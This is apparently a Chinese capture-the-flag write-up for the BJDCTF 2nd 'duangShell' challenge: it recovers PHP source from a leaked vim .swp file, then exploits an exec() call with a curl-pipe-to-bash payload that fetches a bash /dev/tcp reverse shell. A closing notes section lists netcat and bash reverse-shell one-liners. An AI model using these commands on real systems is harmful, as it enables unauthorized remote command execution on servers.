[BJDCTF 2nd]duangShell(反弹shell,swp泄露)

[BJDCTF 2nd]duangShell讲解

打开之后是这个样的
[BJDCTF 2nd]duangShell(反弹shell,swp泄露)_第1张图片
很明显,是swp备份文件泄露。

当你非正常关闭vim编辑器时(比如直接关闭终端或者电脑断电),会生成一个.swp文件,这个文件是一个临时交换文件,用来备份缓冲区中的内容。
意外退出时,并不会覆盖旧的交换文件,而是会重新生成新的交换文件。而原来的文件中并不会有这次的修改,文件内容还是和打开时一样。
例如,第一次产生的交换文件名为“.file.txt.swp”;再次意外退出后,将会产生名为“.file.txt.swo”的交换文件;而第三次产生的交换文件则为“.file.txt.swn”;依此类推。

我们在url中加上/index.php.swp,发现什么也没有发生。原来vim临时文件命名的格式为.index.php.swp,于是尝试/.index.php.swp,得到swp文件。我们把该swp文件放到自己的虚拟机上,用然后使用vim -r index.php.swp命令恢复备份文件,得到网站源码:
[BJDCTF 2nd]duangShell(反弹shell,swp泄露)_第2张图片
发现要POST一个girl_friend,这个girl_friend被preg_match过滤了好过(但是没有过滤nc命令与curl)
符合条件的girl_friend会被exec()函数执行。但是我们知道exec()函数是无回显的,那怎么办的,我们只能用反弹shell的方法了,
[BJDCTF 2nd]duangShell(反弹shell,swp泄露)_第3张图片
由于这题的环境靶机无法访问外网,所以需要一个内网靶机来做,这里就直接用了题目中推荐的Basic中的Linux Labs,由于这台靶机已经安装了lamp,已指出http服务,[BJDCTF 2nd]duangShell(反弹shell,swp泄露)_第4张图片
我们用xshell连上这个靶机,并用ifconfig命令查看靶机的ip:
[BJDCTF 2nd]duangShell(反弹shell,swp泄露)_第5张图片
[BJDCTF 2nd]duangShell(反弹shell,swp泄露)_第6张图片
在我们靶机的/var/www/html新建一个能反弹shell的命令文件(1.txt),里面写入命令:bash -i >& /dev/tcp/ip/port 0>&1,ip是内网靶机的ip,port可以随意指定
[BJDCTF 2nd]duangShell(反弹shell,swp泄露)_第7张图片
设置nc连接,监听题目机的连接:
[BJDCTF 2nd]duangShell(反弹shell,swp泄露)_第8张图片
此时,我们要让题目的服务器连接到我们的靶机上,并反弹题目机的shell
我们在hackbar里面girl_friend=curl http://174.1.222.185/1.txt|bash
[BJDCTF 2nd]duangShell(反弹shell,swp泄露)_第9张图片
(这样题目机获取了我们靶机中1.txt里面的命令,被将其执行。)
发送,靶机就连上了,并反弹了shell:
[BJDCTF 2nd]duangShell(反弹shell,swp泄露)_第10张图片
直接find查找flag
find / -name flag
[BJDCTF 2nd]duangShell(反弹shell,swp泄露)_第11张图片
cat /etc/demo/P3rh4ps/love/you/flag,得到flag:
在这里插入图片描述

本地涉及的有关的linux上反弹shell的知识点

最近在做ctf题时碰到一些命令执行题借用命令执行来反弹shell,这里记录一下。

netcat 一句话反弹

获取shell(想反弹谁的shell就在谁的后面加-e /bin/sh-e /bin/bash
正向shell: 客户端主动连接服务器并获取服务器shell

客户端主动连接并得到反弹shell	
	nc 服务端ip 8888
服务端监听连接
	nc -lvp 8888 -e /bin/sh 
	# windows上:nc -lvp 8888 -e c:\windows\system32\cmd.exe 

反向shell: 服务器端连接并反弹shell给客户端

客户端监听
nc -lvp 8888 
服务端连接客户端
nc 客户端ip 8888 -e /bin/sh 
# windows上:nc ip 8888 -e c:\windows\system32\cmd.exe 

所以本题也可以使用如下方式获得shell:
[BJDCTF 2nd]duangShell(反弹shell,swp泄露)_第12张图片
Netcat反弹是非常常用的方法,只是这个方法需要我们手动去安装一个NC环境

bash反弹shell(本题中方法)

个人感觉bash反弹是最简单、也是最常见的一种。

bash -i >& /dev/tcp/我们靶机ip/我们靶机port 0>&1

bash一句话命令详解
以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。
[BJDCTF 2nd]duangShell(反弹shell,swp泄露)_第13张图片
其实以上bash反弹一句完整的解读过程就是:
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
在反弹shell时要借助netcat工具反弹

更多反弹shell的方法见:https://www.jianshu.com/p/9456473a0a14

你可能感兴趣的:(CTF-Web)